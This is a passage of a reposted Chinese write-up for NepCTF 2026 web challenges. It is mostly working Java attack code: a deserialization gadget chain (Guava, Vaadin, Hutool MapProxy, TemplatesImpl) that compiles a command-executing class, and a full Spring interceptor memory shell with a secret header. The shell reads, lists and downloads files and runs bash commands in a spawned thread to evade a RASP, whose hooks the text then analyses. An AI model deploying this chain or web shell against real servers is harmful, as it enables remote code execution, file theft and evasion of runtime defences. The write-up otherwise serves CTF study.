    ObjectInputStream ois =
        new ObjectInputStream(
            new ByteArrayInputStream(bytes)
        );

    return ois.readObject();
}

二次反序列化后就走TemplatesImpl链即可

最终payload如下

import com.google.common.base.Equivalence;
import com.google.common.base.Functions;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.ui.Layout;
import cn.hutool.core.map.MapProxy;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Properties;

public class VaadinHutoolSecondaryDeserialize {

    // ========== 1. 外层入口:Guava HashMap 触发 hashCode ==========
    @SuppressWarnings("unchecked")
    private static Object wrapWithGuavaHashMap(Object toStringTarget) throws Exception {
        Equivalence<Object> eq = (Equivalence<Object>) (Equivalence<?>)
                Equivalence.equals().onResultOf(Functions.toStringFunction());

        // 占位创建wrapper,避免构造时提前触发hashCode
        Equivalence.Wrapper<Object> wrapper = eq.wrap("dummy");
        HashMap<Object, Object> map = new HashMap<>();
        map.put(wrapper, "v");

        // 反射替换为真实的toString触发目标
        Field refField = Equivalence.Wrapper.class.getDeclaredField("reference");
        refField.setAccessible(true);
        refField.set(wrapper, toStringTarget);

        return map;
    }

    // ========== 2. 中层跳板:Vaadin toString → 反射调用getter ==========
    private static Object createPropertysetItem(Object instance, String property) throws Exception {
        NestedMethodProperty<?> prop = new NestedMethodProperty<>(instance, property);
        PropertysetItem item = new PropertysetItem();
        item.addItemProperty("x", prop);
        return item;
    }

    // ========== 3. 内层核心:构造 TemplatesImpl 恶意序列化字节(二次反序列化载荷) ==========
    private static byte[] buildInnerTemplatesPayload(String command) throws Exception {
        // 动态生成恶意 Translet 类
        ClassPool pool = ClassPool.getDefault();
        CtClass evilClass = pool.makeClass("EvilTranslet");
        evilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        // 静态代码块中写入执行命令的逻辑
        String cmdCode = String.format(
                "java.lang.Runtime.getRuntime().exec(\"%s\");",
                command.replace("\"", "\\\"")
        );
        CtConstructor staticBlock = evilClass.makeClassInitializer();
        staticBlock.insertBefore(cmdCode);
        byte[] classBytes = evilClass.toBytecode();

        // 反射填充 TemplatesImpl 关键字段
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
        setFieldValue(templates, "_name", "EvilTemplates");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_outputProperties", new Properties());

        // 序列化 TemplatesImpl,得到内层反序列化字节
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(templates);
        oos.close();
        return bos.toByteArray();
    }

    // ========== 工具方法:反射设置私有字段 ==========
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    // ========== 4. 总装:拼接完整链路,生成最终Payload ==========
    private static byte[] buildFinalPayload(byte[] innerPayload) throws Exception {
        // 构造MapProxy动态代理:getter调用 → 类型转换 → 二次反序列化
        HashMap<String, Object> proxyMap = new HashMap<>();
        proxyMap.put("margin", innerPayload); // key与属性名对应:getMargin() → margin
        MapProxy mapProxy = MapProxy.create(proxyMap);

        // JDK动态代理:实现MarginHandler接口,InvocationHandler为MapProxy
        Object proxy = Proxy.newProxyInstance(
                VaadinHutoolSecondaryDeserialize.class.getClassLoader(),
                new Class[]{Layout.MarginHandler.class, java.io.Serializable.class},
                mapProxy
        );

        // 拼接 Vaadin 跳板
        Object propertysetItem = createPropertysetItem(proxy, "margin");
        // 拼接 Guava HashMap 入口
        Object outerHashMap = wrapWithGuavaHashMap(propertysetItem);

        // 序列化外层对象,得到最终Payload
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(outerHashMap);
        oos.close();
        return bos.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        // 自定义要执行的命令,比如反弹shell、读文件等
        String command = "calc.exe";
        
        // 生成内层TemplatesImpl恶意字节 + 外层完整二次反序列化链
        byte[] innerPayload = buildInnerTemplatesPayload(command);
        byte[] finalPayload = buildFinalPayload(innerPayload);
        
        // 核心步骤:序列化字节数组转 Base64 字符串
        String base64Payload = Base64.getEncoder().encodeToString(finalPayload);
        System.out.println("===== 最终Base64 Payload =====");
        System.out.println(base64Payload);
    }
}

Rasp绕过

这里就是之前发现的OpenRasp拦截,

但Rasp只拦截了命令执行的相关方法,文件操作的是不拦截的,所以可以注入能够进行文件操作的内存马,读取rasp文件,然后本地分析,内存马如下

package com.ctf.poc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.text.SimpleDateFormat;
import java.util.*;

/**
 * Interceptor-based memory shell injected via TemplatesImpl deserialization.
 * Extends AbstractTranslet (required by TemplatesImpl) + implements HandlerInterceptor.
 *
 * Triggered by: Header "X-Cmd-Token: s3cretKey"
 * Actions: read, list, download, exec (Thread bypass for RASP)
 */
public class MemShell extends AbstractTranslet implements HandlerInterceptor {

    private static final String TOKEN_HEADER = "X-Cmd-Token";
    private static final String TOKEN_VALUE = "s3cretKey";

    public MemShell() {
        try {
            registerInterceptor();
        } catch (Exception ignored) {
        }
    }

    private void registerInterceptor() throws Exception {
        WebApplicationContext context = getWebApplicationContext();
        if (context == null) return;

        Map<String, AbstractHandlerMapping> mappings =
        context.getBeansOfType(AbstractHandlerMapping.class);

        for (AbstractHandlerMapping mapping : mappings.values()) {
            Field f = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            f.setAccessible(true);
            @SuppressWarnings("unchecked")
            List<Object> interceptors = (List<Object>) f.get(mapping);
            if (interceptors != null) {
                boolean exists = false;
                for (Object obj : interceptors) {
                    if (obj.getClass().getName().equals(this.getClass().getName())) {
                        exists = true;
                        break;
                    }
                }
                if (!exists) {
                    interceptors.add(this);
                }
            }
        }
    }

    private static WebApplicationContext getWebApplicationContext() {
        // Method 1: Spring RequestContextHolder (works when triggered from DispatcherServlet)
        try {
            ServletRequestAttributes attrs =
            (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
            WebApplicationContext ctx = (WebApplicationContext) attrs.getRequest().getServletContext()
                                         .getAttribute("org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet");
            if (ctx != null) return ctx;
        } catch (Exception ignored) {
        }

        // Method 2: CXF PhaseInterceptorChain (works during SOAP request processing)
        try {
            Object message = Class.forName("org.apache.cxf.phase.PhaseInterceptorChain")
                    .getMethod("getCurrentMessage").invoke(null);
            if (message != null) {
                Object req = message.getClass().getMethod("get", Object.class)
                        .invoke(message, "HTTP.REQUEST");
                if (req instanceof HttpServletRequest) {
                    javax.servlet.ServletContext sc = ((HttpServletRequest) req).getServletContext();
                    Object ctx = sc.getAttribute(
                            "org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet");
                    if (ctx == null) {
                        ctx = sc.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
                    }
                    if (ctx instanceof WebApplicationContext) return (WebApplicationContext) ctx;
                }
            }
        } catch (Exception ignored) {
        }

        // Method 3: ContextLoader (traditional Spring with ContextLoaderListener)
        try {
            return org.springframework.web.context.ContextLoader.getCurrentWebApplicationContext();
        } catch (Exception ignored) {
        }
        return null;
    }

    // ==================== HandlerInterceptor ====================

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
                             Object handler) throws Exception {
        String token = request.getHeader(TOKEN_HEADER);
        if (!TOKEN_VALUE.equals(token)) {
            return true;
        }

        response.setCharacterEncoding("UTF-8");
        String action = request.getParameter("action");
        if (action == null) action = "read";

        try {
            switch (action) {
                case "read":
                    doRead(request, response);
                    break;
                case "list":
                    doList(request, response);
                    break;
                case "download":
                    doDownload(request, response);
                    break;
                case "exec":
                    doExec(request, response);
                    break;
                default:
                    text(response, 400, "Unknown action. Supported: read, list, download, exec");
            }
        } catch (Exception e) {
            text(response, 500, "ERROR: " + e.getMessage());
        }

        return false;
    }

    // ==================== Actions ====================

    private void doRead(HttpServletRequest req, HttpServletResponse resp) throws Exception {
        String path = req.getParameter("path");
        if (path == null || path.isEmpty()) {
            text(resp, 400, "Missing parameter: path");
            return;
        }

        File file = new File(path);
        if (!file.exists()) {
            text(resp, 404, "File not found: " + path);
            return;
        }
        if (!file.isFile()) {
            text(resp, 400, "Not a file: " + path);
            return;
        }
        if (!file.canRead()) {
            text(resp, 403, "Permission denied: " + path);
            return;
        }

        resp.setContentType("text/plain; charset=UTF-8");
        try (FileInputStream fis = new FileInputStream(file);
             OutputStream out = resp.getOutputStream()) {
            byte[] buf = new byte[8192];
            int n;
            while ((n = fis.read(buf)) > 0) {
                out.write(buf, 0, n);
            }
            out.flush();
        }
    }

    private void doList(HttpServletRequest req, HttpServletResponse resp) throws Exception {
        String path = req.getParameter("path");
        if (path == null || path.isEmpty()) {
            text(resp, 400, "Missing parameter: path");
            return;
        }

        File dir = new File(path);
        if (!dir.exists()) {
            text(resp, 404, "Path not found: " + path);
            return;
        }
        if (!dir.isDirectory()) {
            text(resp, 400, "Not a directory: " + path);
            return;
        }

        File[] files = dir.listFiles();
        if (files == null) {
            text(resp, 403, "Permission denied: " + path);
            return;
        }

        Arrays.sort(files, (a, b) -> {
            if (a.isDirectory() != b.isDirectory()) {
                return a.isDirectory() ? -1 : 1;
            }
            return a.getName().compareToIgnoreCase(b.getName());
        });

        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        StringBuilder sb = new StringBuilder();
        sb.append("Directory: ").append(dir.getAbsolutePath())
                .append(" (").append(files.length).append(" items)\n\n");

        sb.append(String.format("%-6s %5s %5s %12s  %-19s  %s\n",
                "TYPE", "R", "W", "SIZE", "MODIFIED", "NAME"));
        sb.append("--------------------------------------------------------------------------------\n");

        for (File f : files) {
            sb.append(String.format("%-6s %5s %5s %12s  %-19s  %s\n",
                    f.isDirectory() ? "[DIR]" : "[FILE]",
                    f.canRead() ? "r" : "-",
                    f.canWrite() ? "w" : "-",
                    f.isFile() ? String.valueOf(f.length()) : "-",
                    sdf.format(new Date(f.lastModified())),
                    f.getName()));
        }

        text(resp, 200, sb.toString());
    }

    private void doDownload(HttpServletRequest req, HttpServletResponse resp) throws Exception {
        String path = req.getParameter("path");
        if (path == null || path.isEmpty()) {
            text(resp, 400, "Missing parameter: path");
            return;
        }

        File file = new File(path);
        if (!file.exists() || !file.isFile()) {
            text(resp, 404, "Not a file: " + path);
            return;
        }
        if (!file.canRead()) {
            text(resp, 403, "Permission denied: " + path);
            return;
        }

        resp.setContentType("application/octet-stream");
        resp.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName() + "\"");
        resp.setContentLengthLong(file.length());

        try (FileInputStream fis = new FileInputStream(file);
             OutputStream out = resp.getOutputStream()) {
            byte[] buf = new byte[8192];
            int n;
            while ((n = fis.read(buf)) > 0) {
                out.write(buf, 0, n);
            }
            out.flush();
        }
    }

    private void doExec(HttpServletRequest req, HttpServletResponse resp) throws Exception {
        String cmd = req.getParameter("cmd");
        if (cmd == null || cmd.isEmpty()) {
            text(resp, 400, "Missing parameter: cmd");
            return;
        }

        CmdRunner runner = new CmdRunner(new String[]{"/bin/bash", "-c", cmd});
        runner.start();
        runner.join(10000);

        text(resp, 200, runner.getOutput());
    }

    // ==================== Helpers ====================

    private void text(HttpServletResponse resp, int status, String body) throws IOException {
        resp.setStatus(status);
        resp.setContentType("text/plain; charset=UTF-8");
        resp.getWriter().write(body);
        resp.getWriter().flush();
    }

    // ==================== AbstractTranslet (required stubs) ====================

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
    }
}

下载rasp.jar后就是分析源码找漏洞了
这里官方wp分析了RASP的拦截点,我也不太会,就放官方wp吧,再多学点java后再补

下载rasp后,分析Agent 入口 (RaspAgent.premain):

  1. 将 RASP jar 加入 bootstrap classpath(确保 JDK 核心类中注入的代码能访问 RaspChecker

  2. 注册 RaspTransformerClassFileTransformer

  3. 设置 NativeMethodPrefix = "``"(用于 hook native 方法)

  4. 对已加载的目标类执行 retransformClasses

Hook 点(4 个目标类,覆盖所有命令执行路径):

目标类 Hook 方法 拦截目的
java.lang.Runtime exec (所有重载) 标准命令执行入口
java.lang.Runtime load, loadLibrary 防止上传 .so 后通过 JNI 绕过
java.lang.ProcessBuilder start ProcessBuilder 方式执行
java.lang.ProcessImpl/UNIXProcess , start, forkAndExec(native) 最底层拦截,防反射调用

NativeMethodPrefix 机制(防止反射调用 native 方法绕过):

RASP 对 ProcessImpl.forkAndExec(Linux 进程创建的 native 方法)使用 NativeMethodPrefix 技术:

  • 原始 native 方法 forkAndExec 被 JVM 重命名为 forkAndExec

  • RASP 生成新的 Java 方法 forkAndExec,在方法入口插入 RaspChecker.shouldBlock() 检查后再委托给 native 方法

  • 即使通过 Unsafe.allocateInstance() 跳过构造函数后反射调用 forkAndExec,也会被新的 wrapper 方法拦截

拦截判定逻辑 (RaspChecker.shouldBlock()):

image

public static boolean shouldBlock() {
    Thread currentThread = Thread.currentThread();
    String threadName = currentThread.getName();

    // 检查 1:线程名是否匹配 HTTP 请求处理线程
    String[] HTTP_THREAD_PATTERNS = {
        "http-nio-", "http-apr-", "catalina-exec-",
        "exec-", "qtp", "XNIO-", "default task-"
    };
    boolean isHttpThread = false;
    for (String pattern : HTTP_THREAD_PATTERNS) {
        if (threadName.contains(pattern)) {
            isHttpThread = true;
            break;
        }
    }

    // 检查 2:调用栈中是否包含 Web 框架帧
    if (!isHttpThread) {
        String[] WEB_CONTEXT_FRAMES = {
            "javax.servlet.", "jakarta.servlet.",
            "org.apache.catalina.", "org.apache.coyote.", "org.apache.tomcat.",
            "org.apache.cxf.", "org.springframework.web.",
            "org.eclipse.jetty.", "io.undertow."
        };
        StackTraceElement[] stack = currentThread.getStackTrace();
        for (StackTraceElement frame : stack) {
            for (String webFrame : WEB_CONTEXT_FRAMES) {
                if (frame.getClassName().startsWith(webFrame)) {
                    isHttpThread = true;
                    break;
                }
            }
        }
    }

    // 只有 HTTP 请求上下文中的命令执行才拦截
    if (isHttpThread) {
        logBlock(currentThread);  // 打印 [OpenRASP] 拦截日志
        return true;
    }
    return false;
}

核心缺陷:RASP 仅对 HTTP 请求上下文中的命令执行进行拦截,无法覆盖从 HTTP 线程中 fork 出的新线程。

这里就可以通过经典的新线程逃逸去绕过Rasp的Http上下文检测。

这是当时从腾讯Rasp挑战赛看到的一种绕过:

https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487523&idx=1&sn=97a5e73e91f765fbd695092880edb15a&poc_token=HCeRZGqjLloScuugDzXZ2lBAgw3vuo-X5sGmlDPs

image

这里是自己先通过反序列化加载了CmdRunner类,然后在内存马里调用,实现新线程绕过:

image

image

碎碎念

        这NEP的题真难啊,ai一把梭出来回头wp都看不懂(),工控我都没法写,不会的太多了。还有怎么感觉web难题都是反序列化()怎么说呢,还是学少了,JAVA基础不牢啊,之后再学学吧


最后给官方wp指个路,出题师傅都很厉害哒~还有感谢江神提供的wp哈



转载声明:本文转载自原发布平台 (作者:流云技术札), 原文标题《NepCTF 2026 (Web)》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。